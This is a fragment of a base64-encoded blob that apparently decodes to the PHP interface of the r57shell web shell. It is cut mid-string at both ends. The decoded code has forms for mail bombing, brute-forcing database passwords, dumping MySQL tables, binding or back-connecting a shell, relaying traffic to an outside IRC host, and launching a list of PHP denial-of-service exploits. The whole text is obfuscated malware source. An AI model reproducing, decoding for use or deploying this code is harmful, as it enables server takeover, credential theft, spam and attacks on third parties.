csMzAsKCFlbXB0eSgkX1BPU1RbJ2Zyb20nXSk/KCRfUE9TVFsnZnJvbSddKTooImJpbGx5QG1pY3Jvc29mdC5jb20iKSkpKTsNCmVjaG8gc3IoMjUsIjxiPiIuJGxhbmdbJGxhbmd1YWdlLidfdGV4dDEwNyddLiRhcnJvdy4iPC9iPiIsaW4oJ3RleHQnLCdzdWJqJywzMCwoIWVtcHR5KCRfUE9TVFsnc3ViaiddKT8oJF9QT1NUWydzdWJqJ10pOigiaGVsbG8gYmlsbHkiKSkpKTsNCmVjaG8gc3IoMjUsIjxiPiIuJGxhbmdbJGxhbmd1YWdlLidfdGV4dDEwOCddLiRhcnJvdy4iPC9iPiIsJzx0ZXh0YXJlYSBuYW1lPXRleHQgY29scz0yMiByb3dzPTI+Jy4oIWVtcHR5KCRfUE9TVFsndGV4dCddKT8oJF9QT1NUWyd0ZXh0J10pOigibWFpbCB0ZXh0IGhlcmUiKSkuJzwvdGV4dGFyZWE+Jyk7DQplY2hvIHNyKDI1LCIiLGluKCdzdWJtaXQnLCdzdWJtaXQnLDAsJGxhbmdbJGxhbmd1YWdlLidfYnV0dDE1J10pKTsNCiANCmVjaG8gJHRlLiI8L3RkPiIuJGZlLiRmcy4iPHRkIHZhbGlnbj10b3Agd2lkdGg9MzMlPiIuJHRzOw0KZWNobyAiPGZvbnQgZmFjZT1WZXJkYW5hIHNpemU9LTI+PGI+PGRpdiBhbGlnbj1jZW50ZXIgaWQ9J24nPiIuJGxhbmdbJGxhbmd1YWdlLidfdGV4dDEwNCddLiI8L2Rpdj48L2I+PC9mb250PiI7DQplY2hvIHNyKDI1LCI8Yj4iLiRsYW5nWyRsYW5ndWFnZS4nX3RleHQxMDUnXS4kYXJyb3cuIjwvYj4iLGluKCd0ZXh0JywndG8nLDMwLCghZW1wdHkoJF9QT1NUWyd0byddKT8oJF9QT1NUWyd0byddKTooImhhY2tlckBtYWlsLmNvbSIpKSkuaW4oJ2hpZGRlbicsJ2NtZCcsMCwnbWFpbF9maWxlJykuaW4oJ2hpZGRlbicsJ2RpcicsMCwkZGlyKSk7DQplY2hvIHNyKDI1LCI8Yj4iLiRsYW5nWyRsYW5ndWFnZS4nX3RleHQxMDYnXS4kYXJyb3cuIjwvYj4iLGluKCd0ZXh0JywnZnJvbScsMzAsKCFlbXB0eSgkX1BPU1RbJ2Zyb20nXSk/KCRfUE9TVFsnZnJvbSddKTooImJpbGx5QG1pY3Jvc29mdC5jb20iKSkpKTsNCmVjaG8gc3IoMjUsIjxiPiIuJGxhbmdbJGxhbmd1YWdlLidfdGV4dDEwNyddLiRhcnJvdy4iPC9iPiIsaW4oJ3RleHQnLCdzdWJqJywzMCwoIWVtcHR5KCRfUE9TVFsnc3ViaiddKT8oJF9QT1NUWydzdWJqJ10pOigiZmlsZSBmcm9tIHI1N3NoZWxsIikpKSk7DQplY2hvIHNyKDI1LCI8Yj4iLiRsYW5nWyRsYW5ndWFnZS4nX3RleHQxOCddLiRhcnJvdy4iPC9iPiIsaW4oJ3RleHQnLCdsb2NfZmlsZScsMzAsJGRpcikpOw0KZWNobyBzcigyNSwiPGI+Ii4kbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0OTEnXS4kYXJyb3cuIjwvYj4iLGluKCdyYWRpbycsJ2NvbXByZXNzJywwLCdub25lJywxKS4nICcuJGFyaCk7DQplY2hvIHNyKDI1LCIiLGluKCdzdWJtaXQnLCdzdWJtaXQnLDAsJGxhbmdbJGxhbmd1YWdlLidfYnV0dDE1J10pKTsNCiANCmVjaG8gJHRlLiI8L3RkPiIuJGZlLiRmcy4iPHRkIHZhbGlnbj10b3Agd2lkdGg9MzMlPiIuJHRzOw0KZWNobyAiPGZvbnQgZmFjZT1WZXJkYW5hIHNpemU9LTI+PGI+PGRpdiBhbGlnbj1jZW50ZXIgaWQ9J24nPiIuJGxhbmdbJGxhbmd1YWdlLidfdGV4dDEzOSddLiI8L2Rpdj48L2I+PC9mb250PiI7DQplY2hvIHNyKDI1LCI8Yj4iLiRsYW5nWyRsYW5ndWFnZS4nX3RleHQxMDUnXS4kYXJyb3cuIjwvYj4iLGluKCd0ZXh0JywndG8nLDMwLCghZW1wdHkoJF9QT1NUWyd0byddKT8oJF9QT1NUWyd0byddKTooImhhY2tlckBtYWlsLmNvbSIpKSkuaW4oJ2hpZGRlbicsJ2NtZCcsMCwnbWFpbF9ib21iZXInKS5pbignaGlkZGVuJywnZGlyJywwLCRkaXIpKTsNCmVjaG8gc3IoMjUsIjxiPiIuJGxhbmdbJGxhbmd1YWdlLidfdGV4dDEwNiddLiRhcnJvdy4iPC9iPiIsaW4oJ3RleHQnLCdmcm9tJywzMCwoIWVtcHR5KCRfUE9TVFsnZnJvbSddKT8oJF9QT1NUWydmcm9tJ10pOigiYmlsbHlAbWljcm9zb2Z0LmNvbSIpKSkpOw0KZWNobyBzcigyNSwiPGI+Ii4kbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0MTA3J10uJGFycm93LiI8L2I+IixpbigndGV4dCcsJ3N1YmonLDMwLCghZW1wdHkoJF9QT1NUWydzdWJqJ10pPygkX1BPU1RbJ3N1YmonXSk6KCJoZWxsbyBiaWxseSIpKSkpOw0KZWNobyBzcigyNSwiPGI+Ii4kbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0MTA4J10uJGFycm93LiI8L2I+IiwnPHRleHRhcmVhIG5hbWU9dGV4dCBjb2xzPTIyIHJvd3M9MT4nLighZW1wdHkoJF9QT1NUWyd0ZXh0J10pPygkX1BPU1RbJ3RleHQnXSk6KCJmbG9vZCB0ZXh0IGhlcmUiKSkuJzwvdGV4dGFyZWE+Jyk7DQplY2hvIHNyKDI1LCI8Yj5GbG9vZCIuJGFycm93LiI8L2I+IixpbignaW50JywnbWFpbF9mbG9vZCcsNSwoIWVtcHR5KCRfUE9TVFsnbWFpbF9mbG9vZCddKT8oJF9QT1NUWydtYWlsX2Zsb29kJ10pOjEwMCkpLndzKDQpLiI8Yj5TaXplKGtiKSIuJGFycm93LiI8L2I+Ii5pbignaW50JywnbWFpbF9zaXplJyw1LCghZW1wdHkoJF9QT1NUWydtYWlsX3NpemUnXSk/KCRfUE9TVFsnbWFpbF9zaXplJ10pOjEwKSkpOw0KZWNobyBzcigyNSwiIixpbignc3VibWl0Jywnc3VibWl0JywwLCRsYW5nWyRsYW5ndWFnZS4nX2J1dHQxNSddKSk7DQogDQplY2hvICR0ZS4iPC90ZD4iLiRmZS4iPC90cj48L2Rpdj48L3RhYmxlPiI7DQp9DQogDQogDQppZigkbXlzcWxfb258fCRtc3NxbF9vbnx8JHBnX29ufHwkb3JhX29uKQ0Kew0KJHNlbGVjdCA9ICc8c2VsZWN0IG5hbWU9ZGI+JzsNCmlmKCRteXNxbF9vbikgJHNlbGVjdCAuPSAnPG9wdGlvbj5NeVNRTDwvb3B0aW9uPic7DQppZigkbXNzcWxfb24pICRzZWxlY3QgLj0gJzxvcHRpb24+TVNTUUw8L29wdGlvbj4nOw0KaWYoJHBnX29uKSAgICAkc2VsZWN0IC49ICc8b3B0aW9uPlBvc3RncmVTUUw8L29wdGlvbj4nOw0KaWYoJG9yYV9vbikgICAkc2VsZWN0IC49ICc8b3B0aW9uPk9yYWNsZTwvb3B0aW9uPic7DQokc2VsZWN0IC49ICc8L3NlbGVjdD4nOw0KIA0KZWNobyAkdGFibGVfdXAxLmRpdl90aXRsZSgkbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0ODInXSwnaWQzNicpLiR0YWJsZV91cDIuZGl2KCdpZDM2JykuJHRzLiI8dHI+Ii4kZnMuIjx0ZCB2YWxpZ249dG9wIHdpZHRoPTMzJT4iLiR0czsNCmVjaG8gIjxmb250IGZhY2U9VmVyZGFuYSBzaXplPS0yPjxiPjxkaXYgYWxpZ249Y2VudGVyIGlkPSduJz4iLiRsYW5nWyRsYW5ndWFnZS4nX3RleHQxMzQnXS4iPC9kaXY+PC9iPjwvZm9udD4iOw0KIA0KZWNobyBzcigzNSwiPGI+Ii4kbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0ODAnXS4kYXJyb3cuIjwvYj4iLCRzZWxlY3QuaW4oJ2hpZGRlbicsJ2RpcicsMCwkZGlyKS5pbignaGlkZGVuJywnY21kJywwLCdkYl9icnV0ZScpKTsNCmVjaG8gc3IoMzUsIjxiPiIuJGxhbmdbJGxhbmd1YWdlLidfdGV4dDExMSddLiRhcnJvdy4iPC9iPiIsaW4oJ3RleHQnLCdkYl9zZXJ2ZXInLDgsKCFlbXB0eSgkX1BPU1RbJ2RiX3NlcnZlciddKT8oJF9QT1NUWydkYl9zZXJ2ZXInXSk6KCJsb2NhbGhvc3QiKSkpLicgPGI+OjwvYj4gJy5pbigndGV4dCcsJ2RiX3BvcnQnLDgsKCFlbXB0eSgkX1BPU1RbJ2RiX3BvcnQnXSk/KCRfUE9TVFsnZGJfcG9ydCddKTooIjMzMDYiKSkpKTsNCmVjaG8gc3IoMzUsIjxiPiIuJGxhbmdbJGxhbmd1YWdlLidfdGV4dDM5J10uJGFycm93LiI8L2I+IixpbigndGV4dCcsJ215c3FsX2RiJyw4LCghZW1wdHkoJF9QT1NUWydteXNxbF9kYiddKT8oJF9QT1NUWydteXNxbF9kYiddKTooIm15c3FsIikpKSk7DQplY2hvIHNyKDI1LCIiLGluKCdyYWRpbycsJ2JydXRlX21ldGhvZCcsMCwncGFzc3dkJywxKS4iPGZvbnQgZmFjZT1WZXJkYW5hIHNpemU9LTI+Ii4kbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0OTknXS4iICggPGEgaHJlZj0iLiRfU0VSVkVSWydQSFBfU0VMRiddLiI/dXNlcnM+Ii4kbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0OTUnXS4iPC9hPiApPC9mb250PiIpOw0KZWNobyBzcigyNSwiIixpbignY2hlY2tib3gnLCdyZXZlcnNlIGlkPXJldmVyc2UnLDAsJzEnLDEpLiRsYW5nWyRsYW5ndWFnZS4nX3RleHQxMDEnXSk7DQplY2hvIHNyKDI1LCIiLGluKCdyYWRpbycsJ2JydXRlX21ldGhvZCcsMCwnZGljJywwKS4kbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0MTM1J10pOw0KZWNobyBzcigzNSwiPGI+Ii4kbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0MzcnXS4kYXJyb3cuIjwvYj4iLGluKCd0ZXh0JywnbXlzcWxfbCcsOCwoIWVtcHR5KCRfUE9TVFsnbXlzcWxfbCddKT8oJF9QT1NUWydteXNxbF9sJ10pOigicm9vdCIpKSkpOw0KZWNobyBzcigyNSwiPGI+Ii4kbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0MTM1J10uJGFycm93LiI8L2I+IixpbigndGV4dCcsJ2RpY3Rpb25hcnknLDAsKCFlbXB0eSgkX1BPU1RbJ2RpY3Rpb25hcnknXSk/KCRfUE9TVFsnZGljdGlvbmFyeSddKTooJGRpci4nL3Bhc3N3LmRpYycpKSkpOw0KZWNobyBzcigzNSwiIixpbignc3VibWl0Jywnc3VibWl0JywwLCRsYW5nWyRsYW5ndWFnZS4nX2J1dHQxJ10pKTsNCiANCmVjaG8gJHRlLiI8L3RkPiIuJGZlLiRmcy4iPHRkIHZhbGlnbj10b3Agd2lkdGg9MzMlPiIuJHRzOw0KZWNobyAiPGZvbnQgZmFjZT1WZXJkYW5hIHNpemU9LTI+PGI+PGRpdiBhbGlnbj1jZW50ZXIgaWQ9J24nPiIuJGxhbmdbJGxhbmd1YWdlLidfdGV4dDgzJ10uIjwvZGl2PjwvYj48L2ZvbnQ+IjsNCiANCmVjaG8gc3IoMzUsIjxiPiIuJGxhbmdbJGxhbmd1YWdlLidfdGV4dDgwJ10uJGFycm93LiI8L2I+Iiwkc2VsZWN0KTsNCmVjaG8gc3IoMzUsIjxiPiIuJGxhbmdbJGxhbmd1YWdlLidfdGV4dDExMSddLiRhcnJvdy4iPC9iPiIsaW4oJ3RleHQnLCdkYl9zZXJ2ZXInLDgsKCFlbXB0eSgkX1BPU1RbJ2RiX3NlcnZlciddKT8oJF9QT1NUWydkYl9zZXJ2ZXInXSk6KCJsb2NhbGhvc3QiKSkpLicgPGI+OjwvYj4gJy5pbigndGV4dCcsJ2RiX3BvcnQnLDgsKCFlbXB0eSgkX1BPU1RbJ2RiX3BvcnQnXSk/KCRfUE9TVFsnZGJfcG9ydCddKTooIjMzMDYiKSkpKTsNCmVjaG8gc3IoMzUsIjxiPiIuJGxhbmdbJGxhbmd1YWdlLidfdGV4dDM3J10uJyA6ICcuJGxhbmdbJGxhbmd1YWdlLidfdGV4dDM4J10uJGFycm93LiI8L2I+IixpbigndGV4dCcsJ215c3FsX2wnLDgsKCFlbXB0eSgkX1BPU1RbJ215c3FsX2wnXSk/KCRfUE9TVFsnbXlzcWxfbCddKTooInJvb3QiKSkpLicgPGI+OjwvYj4gJy5pbigndGV4dCcsJ215c3FsX3AnLDgsKCFlbXB0eSgkX1BPU1RbJ215c3FsX3AnXSk/KCRfUE9TVFsnbXlzcWxfcCddKTooInBhc3N3b3JkIikpKSk7DQplY2hvIHNyKDM1LCI8Yj4iLiRsYW5nWyRsYW5ndWFnZS4nX3RleHQzNiddLiRhcnJvdy4iPC9iPiIsaW4oJ3RleHQnLCdteXNxbF9kYicsOCwoIWVtcHR5KCRfUE9TVFsnbXlzcWxfZGInXSk/KCRfUE9TVFsnbXlzcWxfZGInXSk6KCJteXNxbCIpKSkuJyA8Yj4uPC9iPiAnLmluKCd0ZXh0JywnbXlzcWxfdGJsJyw4LCghZW1wdHkoJF9QT1NUWydteXNxbF90YmwnXSk/KCRfUE9TVFsnbXlzcWxfdGJsJ10pOigidXNlciIpKSkpOw0KZWNobyBzcigzNSxpbignaGlkZGVuJywnZGlyJywwLCRkaXIpLmluKCdoaWRkZW4nLCdjbWQnLDAsJ215c3FsX2R1bXAnKS4iPGI+Ii4kbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0NDEnXS4kYXJyb3cuIjwvYj4iLGluKCdjaGVja2JveCcsJ2RpZiBpZD1kaWYnLDAsJzEnKS5pbigndGV4dCcsJ2RpZl9uYW1lJywxNywoIWVtcHR5KCRfUE9TVFsnZGlmX25hbWUnXSk/KCRfUE9TVFsnZGlmX25hbWUnXSk6KCJkdW1wLnNxbCIpKSkpOw0KZWNobyBzcigzNSwiIixpbignc3VibWl0Jywnc3VibWl0JywwLCRsYW5nWyRsYW5ndWFnZS4nX2J1dHQxMCddKSk7DQogDQplY2hvICR0ZS4iPC90ZD4iLiRmZS4kZnMuIjx0ZCB2YWxpZ249dG9wIHdpZHRoPTMzJT4iLiR0czsNCmVjaG8gIjxmb250IGZhY2U9VmVyZGFuYSBzaXplPS0yPjxiPjxkaXYgYWxpZ249Y2VudGVyIGlkPSduJz4iLiRsYW5nWyRsYW5ndWFnZS4nX3RleHQ4MyddLiI8L2Rpdj48L2I+PC9mb250PiI7DQogDQplY2hvIHNyKDM1LCI8Yj4iLiRsYW5nWyRsYW5ndWFnZS4nX3RleHQ4MCddLiRhcnJvdy4iPC9iPiIsJHNlbGVjdCk7DQplY2hvIHNyKDM1LCI8Yj4iLiRsYW5nWyRsYW5ndWFnZS4nX3RleHQxMTEnXS4kYXJyb3cuIjwvYj4iLGluKCd0ZXh0JywnZGJfc2VydmVyJyw4LCghZW1wdHkoJF9QT1NUWydkYl9zZXJ2ZXInXSk/KCRfUE9TVFsnZGJfc2VydmVyJ10pOigibG9jYWxob3N0IikpKS4nIDxiPjo8L2I+ICcuaW4oJ3RleHQnLCdkYl9wb3J0Jyw4LCghZW1wdHkoJF9QT1NUWydkYl9wb3J0J10pPygkX1BPU1RbJ2RiX3BvcnQnXSk6KCIzMzA2IikpKSk7DQplY2hvIHNyKDM1LCI8Yj4iLiRsYW5nWyRsYW5ndWFnZS4nX3RleHQzNyddLicgOiAnLiRsYW5nWyRsYW5ndWFnZS4nX3RleHQzOCddLiRhcnJvdy4iPC9iPiIsaW4oJ3RleHQnLCdteXNxbF9sJyw4LCghZW1wdHkoJF9QT1NUWydteXNxbF9sJ10pPygkX1BPU1RbJ215c3FsX2wnXSk6KCJyb290IikpKS4nIDxiPjo8L2I+ICcuaW4oJ3RleHQnLCdteXNxbF9wJyw4LCghZW1wdHkoJF9QT1NUWydteXNxbF9wJ10pPygkX1BPU1RbJ215c3FsX3AnXSk6KCJwYXNzd29yZCIpKSkpOw0KZWNobyBzcigzNSwiPGI+Ii4kbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0MzknXS4kYXJyb3cuIjwvYj4iLGluKCd0ZXh0JywnbXlzcWxfZGInLDgsKCFlbXB0eSgkX1BPU1RbJ215c3FsX2RiJ10pPygkX1BPU1RbJ215c3FsX2RiJ10pOigibXlzcWwiKSkpKTsNCmVjaG8gc3IoMzUsIjxiPiIuJGxhbmdbJGxhbmd1YWdlLidfdGV4dDg0J10uJGFycm93LiI8L2I+Ii5pbignaGlkZGVuJywnZGlyJywwLCRkaXIpLmluKCdoaWRkZW4nLCdjbWQnLDAsJ2RiX3F1ZXJ5JyksIiIpOw0KZWNobyAkdGUuIjxkaXYgYWxpZ249Y2VudGVyIGlkPSduJz48dGV4dGFyZWEgY29scz0zMCByb3dzPTQgbmFtZT1kYl9xdWVyeT4iLighZW1wdHkoJF9QT1NUWydkYl9xdWVyeSddKT8oJF9QT1NUWydkYl9xdWVyeSddKTooIlNIT1cgREFUQUJBU0VTO1xuU0hPVyBUQUJMRVM7XG5TRUxFQ1QgKiBGUk9NIHVzZXI7XG5TRUxFQ1QgdmVyc2lvbigpO1xuU0VMRUNUIHVzZXIoKTsiKSkuIjwvdGV4dGFyZWE+PGJyPiIuaW4oJ3N1Ym1pdCcsJ3N1Ym1pdCcsMCwkbGFuZ1skbGFuZ3VhZ2UuJ19idXR0MSddKS4iPC9kaXY+IjsNCiANCmVjaG8gIjwvdGQ+Ii4kZmUuIjwvdHI+PC9kaXY+PC90YWJsZT4iOw0KfQ0KIA0KIA0KIA0KaWYoISRzYWZlX21vZGUgJiYgJHVuaXgpew0KZWNobyAkdGFibGVfdXAxLmRpdl90aXRsZSgkbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0ODEnXSwnaWQzNycpLiR0YWJsZV91cDIuZGl2KCdpZDM3JykuJHRzLiI8dHI+Ii4kZnMuIjx0ZCB2YWxpZ249dG9wIHdpZHRoPTI1JT4iLiR0czsNCmVjaG8gIjxmb250IGZhY2U9VmVyZGFuYSBzaXplPS0yPjxiPjxkaXYgYWxpZ249Y2VudGVyIGlkPSduJz4iLiRsYW5nWyRsYW5ndWFnZS4nX3RleHQ5J10uIjwvZGl2PjwvYj48L2ZvbnQ+IjsNCmVjaG8gc3IoNDAsIjxiPiIuJGxhbmdbJGxhbmd1YWdlLidfdGV4dDEwJ10uJGFycm93LiI8L2I+IixpbigndGV4dCcsJ3BvcnQnLDEwLCcxMTQ1NycpKTsNCmVjaG8gc3IoNDAsIjxiPiIuJGxhbmdbJGxhbmd1YWdlLidfdGV4dDExJ10uJGFycm93LiI8L2I+IixpbigndGV4dCcsJ2JpbmRfcGFzcycsMTAsJ3I1NycpKTsNCmVjaG8gc3IoNDAsIjxiPiIuJGxhbmdbJGxhbmd1YWdlLidfdGV4dDIwJ10uJGFycm93LiI8L2I+IiwiPHNlbGVjdCBzaXplPVwiMVwiIG5hbWU9XCJ1c2VcIj48b3B0aW9uIHZhbHVlPVwiUGVybFwiPlBlcmw8L29wdGlvbj48b3B0aW9uIHZhbHVlPVwiQ1wiPkM8L29wdGlvbj48L3NlbGVjdD4iLmluKCdoaWRkZW4nLCdkaXInLDAsJGRpcikpOw0KZWNobyBzcig0MCwiIixpbignc3VibWl0Jywnc3VibWl0JywwLCRsYW5nWyRsYW5ndWFnZS4nX2J1dHQzJ10pKTsNCmVjaG8gJHRlLiI8L3RkPiIuJGZlLiRmcy4iPHRkIHZhbGlnbj10b3Agd2lkdGg9MjUlPiIuJHRzOw0KZWNobyAiPGZvbnQgZmFjZT1WZXJkYW5hIHNpemU9LTI+PGI+PGRpdiBhbGlnbj1jZW50ZXIgaWQ9J24nPiIuJGxhbmdbJGxhbmd1YWdlLidfdGV4dDEyJ10uIjwvZGl2PjwvYj48L2ZvbnQ+IjsNCmVjaG8gc3IoNDAsIjxiPiIuJGxhbmdbJGxhbmd1YWdlLidfdGV4dDEzJ10uJGFycm93LiI8L2I+IixpbigndGV4dCcsJ2lwJywxNSwoKGdldGVudignUkVNT1RFX0FERFInKSkgPyAoZ2V0ZW52KCdSRU1PVEVfQUREUicpKSA6ICgiMTI3LjAuMC4xIikpKSk7DQplY2hvIHNyKDQwLCI8Yj4iLiRsYW5nWyRsYW5ndWFnZS4nX3RleHQxNCddLiRhcnJvdy4iPC9iPiIsaW4oJ3RleHQnLCdwb3J0JywxNSwnMTE0NTcnKSk7DQplY2hvIHNyKDQwLCI8Yj4iLiRsYW5nWyRsYW5ndWFnZS4nX3RleHQyMCddLiRhcnJvdy4iPC9iPiIsIjxzZWxlY3Qgc2l6ZT1cIjFcIiBuYW1lPVwidXNlXCI+PG9wdGlvbiB2YWx1ZT1cIlBlcmxcIj5QZXJsPC9vcHRpb24+PG9wdGlvbiB2YWx1ZT1cIkNcIj5DPC9vcHRpb24+PC9zZWxlY3Q+Ii5pbignaGlkZGVuJywnZGlyJywwLCRkaXIpKTsNCmVjaG8gc3IoNDAsIiIsaW4oJ3N1Ym1pdCcsJ3N1Ym1pdCcsMCwkbGFuZ1skbGFuZ3VhZ2UuJ19idXR0NCddKSk7DQplY2hvICR0ZS4iPC90ZD4iLiRmZS4kZnMuIjx0ZCB2YWxpZ249dG9wIHdpZHRoPTI1JT4iLiR0czsNCmVjaG8gIjxmb250IGZhY2U9VmVyZGFuYSBzaXplPS0yPjxiPjxkaXYgYWxpZ249Y2VudGVyIGlkPSduJz4iLiRsYW5nWyRsYW5ndWFnZS4nX3RleHQyMiddLiI8L2Rpdj48L2I+PC9mb250PiI7DQplY2hvIHNyKDQwLCI8Yj4iLiRsYW5nWyRsYW5ndWFnZS4nX3RleHQyMyddLiRhcnJvdy4iPC9iPiIsaW4oJ3RleHQnLCdsb2NhbF9wb3J0JywxMCwnMTE0NTcnKSk7DQplY2hvIHNyKDQwLCI8Yj4iLiRsYW5nWyRsYW5ndWFnZS4nX3RleHQyNCddLiRhcnJvdy4iPC9iPiIsaW4oJ3RleHQnLCdyZW1vdGVfaG9zdCcsMTAsJ2lyYy5kYWxuZXQucnUnKSk7DQplY2hvIHNyKDQwLCI8Yj4iLiRsYW5nWyRsYW5ndWFnZS4nX3RleHQyNSddLiRhcnJvdy4iPC9iPiIsaW4oJ3RleHQnLCdyZW1vdGVfcG9ydCcsMTAsJzY2NjcnKSk7DQplY2hvIHNyKDQwLCI8Yj4iLiRsYW5nWyRsYW5ndWFnZS4nX3RleHQyNiddLiRhcnJvdy4iPC9iPiIsIjxzZWxlY3Qgc2l6ZT1cIjFcIiBuYW1lPVwidXNlXCI+PG9wdGlvbiB2YWx1ZT1cIlBlcmxcIj5kYXRhcGlwZS5wbDwvb3B0aW9uPjxvcHRpb24gdmFsdWU9XCJDXCI+ZGF0YXBpcGUuYzwvb3B0aW9uPjwvc2VsZWN0PiIuaW4oJ2hpZGRlbicsJ2RpcicsMCwkZGlyKSk7DQplY2hvIHNyKDQwLCIiLGluKCdzdWJtaXQnLCdzdWJtaXQnLDAsJGxhbmdbJGxhbmd1YWdlLidfYnV0dDUnXSkpOw0KZWNobyAkdGUuIjwvdGQ+Ii4kZmUuJGZzLiI8dGQgdmFsaWduPXRvcCB3aWR0aD0yNSU+Ii4kdHM7DQplY2hvICI8Zm9udCBmYWNlPVZlcmRhbmEgc2l6ZT0tMj48Yj48ZGl2IGFsaWduPWNlbnRlciBpZD0nbic+UHJveHk8L2Rpdj48L2I+PC9mb250PiI7DQplY2hvIHNyKDQwLCI8Yj4iLiRsYW5nWyRsYW5ndWFnZS4nX3RleHQxMCddLiRhcnJvdy4iPC9iPiIsaW4oJ3RleHQnLCdwcm94eV9wb3J0JywxMCwnMzEzMzcnKSk7DQplY2hvIHNyKDQwLCI8Yj4iLiRsYW5nWyRsYW5ndWFnZS4nX3RleHQyNiddLiRhcnJvdy4iPC9iPiIsIjxzZWxlY3Qgc2l6ZT1cIjFcIiBuYW1lPVwidXNlXCI+PG9wdGlvbiB2YWx1ZT1cIlBlcmxcIj5QZXJsPC9vcHRpb24+PC9zZWxlY3Q+Ii5pbignaGlkZGVuJywnZGlyJywwLCRkaXIpKTsNCmVjaG8gc3IoNDAsIiIsaW4oJ3N1Ym1pdCcsJ3N1Ym1pdCcsMCwkbGFuZ1skbGFuZ3VhZ2UuJ19idXR0NSddKSk7DQplY2hvICR0ZS4iPC90ZD4iLiRmZS4iPC90cj48L2Rpdj48L3RhYmxlPiI7DQp9DQogDQplY2hvICR0YWJsZV91cDEuZGl2X3RpdGxlKCRsYW5nWyRsYW5ndWFnZS4nX3RleHQxNDAnXSwnaWQzOCcpLiR0YWJsZV91cDIuZGl2KCdpZDM4JykuJHRzLiI8dHI+PHRkIHZhbGlnbj10b3Agd2lkdGg9NTAlPiIuJHRzOw0KZWNobyAiPGZvbnQgZmFjZT1WZXJkYW5hIGNvbG9yPXJlZCBzaXplPS0yPjxiPjxkaXYgYWxpZ249Y2VudGVyIGlkPSduJz4iLiRsYW5nWyRsYW5ndWFnZS4nX3RleHQxNDEnXS4iPC9kaXY+PC9iPjwvZm9udD4iOw0KZWNobyBzcigxMCwiIiwkZnMuaW4oJ2hpZGRlbicsJ2NtZCcsMCwnZG9zMScpLmluKCdzdWJtaXQnLCdzdWJtaXQnLDAsJ1JlY3Vyc2l2ZSBtZW1vcnkgZXhoYXVzdGlvbicpLiRmZSk7DQplY2hvIHNyKDEwLCIiLCRmcy5pbignaGlkZGVuJywnY21kJywwLCdkb3MyJykuaW4oJ3N1Ym1pdCcsJ3N1Ym1pdCcsMCwnTWVtb3J5X2xpbWl0IGV4aGF1c3Rpb24gaW4gWyBwYWNrKCkgXSBmdW5jdGlvbicpLiRmZSk7DQplY2hvIHNyKDEwLCIiLCRmcy5pbignaGlkZGVuJywnY21kJywwLCdkb3MzJykuaW4oJ3N1Ym1pdCcsJ3N1Ym1pdCcsMCwnQm9GIGluIFsgdW5zZXJpYWxpemUoKSBdIGZ1bmN0aW9uJykuJGZlKTsNCmVjaG8gc3IoMTAsIiIsJGZzLmluKCdoaWRkZW4nLCdjbWQnLDAsJ2RvczQnKS5pbignc3VibWl0Jywnc3VibWl0JywwLCdMaW1pdCBpbnRlZ2VyIGNhbGN1bGF0ZSAoNjU1MzUpIGluIFplbmRFbmdpbmUnKS4kZmUpOw0KZWNobyBzcigxMCwiIiwkZnMuaW4oJ2hpZGRlbicsJ2NtZCcsMCwnZG9zNScpLmluKCdzdWJtaXQnLCdzdWJtaXQnLDAsJ1NRbGl0ZSBbIGRsKCkgXSB2dWxuZXJhYmlsaXR5JykuJGZlKTsNCmVjaG8gc3IoMTAsIiIsJGZzLmluKCdoaWRkZW4nLCdjbWQnLDAsJ2RvczYnKS5pbignc3VibWl0Jywnc3VibWl0JywwLCdQQ1JFIFsgcHJlZ19tYXRjaCgpIF0gZXhoYXVzdGlvbiByZXNvdXJjZXMgKFBIUCA8NS4yLjEpJykuJGZlKTsNCmVjaG8gc3IoMTAsIiIsJGZzLmluKCdoaWRkZW4nLCdjbWQnLDAsJ2RvczcnKS5pbignc3VibWl0Jywnc3VibWl0JywwLCdNZW1vcnlfbGltaXQgZXhoYXVzdGlvbiBpbiBbIHN0cl9yZXBlYXQoKSBdIGZ1bmN0aW9uIChQSFAgPDQuNC41LDUuMi4xKScpLiRmZSk7DQplY2hvIHNyKDEwLCIiLCRmcy5pbignaGlkZGVuJywnY21kJywwLCdkb3M4JykuaW4oJ3N1Ym1pdCcsJ3N1Ym1pdCcsMCwnQXBhY2hlIHByb2Nlc3Mga2lsbGVyJykuJGZlKTsNCmVjaG8gc3IoMTAsIiIsJGZzLmluKCdoaWRkZW4nLCdjbWQnLDAsJ2RvczknKS5pbignc3VibWl0Jywnc3VibWl0JywwLCdPdmVybG9hZCBpbm9kZXMgZnJvbSBIRC5JIHZpYSBbIHRlbXBuYW0oKSBdIChQSFAgNC40LjIsIDUuMS4yKScpLiRmZSk7DQplY2hvIHNyKDEwLCIiLCRmcy5pbignaGlkZGVuJywnY21kJywwLCdkb3MxMCcpLmluKCdzdWJtaXQnLCdzdWJtaXQnLDAsJ0JvRiBpbiBbIHdvcmR3cmFwKCkgXSBmdW5jdGlvbiAoUEhQIDw0LjQuMiw1LjEuMiknKS4kZmUpOw0KZWNobyAkdGUuIjwvdGQ+PHRkIHZhbGlnbj10b3Agd2lkdGg9NTAlPiIuJHRzOw0KZWNobyAiPGZvbnQgZmFjZT1WZXJkYW5hIGNvbG9yPXJlZCBzaXplPS0yPjxiPjxkaXYgYWxpZ249Y2VudGVyIGlkPSduJz4iLiRsYW5nWyRsYW5ndWFnZS4nX3RleHQxNDEnXS4iPC9kaXY+PC9iPjwvZm9udD4iOw0KZWNobyBzcigxMCwiIiwkZnMuaW4oJ2hpZGRlbicsJ2NtZCcsMCwnZG9zMTEnKS5pbignc3VibWl0Jywnc3VibWl0JywwLCdCb0YgaW4gWyBhcnJheV9maWxsKCkgXSBmdW5jdGlvbiAoUEhQIDw0LjQuMiw1LjEuMiknKS4kZmUpOw0KZWNobyBzcigxMCwiIiwkZnMuaW4oJ2hpZGRlbicsJ2NtZCcsMCwnZG9zMTInKS5pbignc3VibWl0Jywnc3VibWl0JywwLCdCb0YgaW4gWyBzdWJzdHJfY29tcGFyZSgpIF0gZnVuY3Rpb24g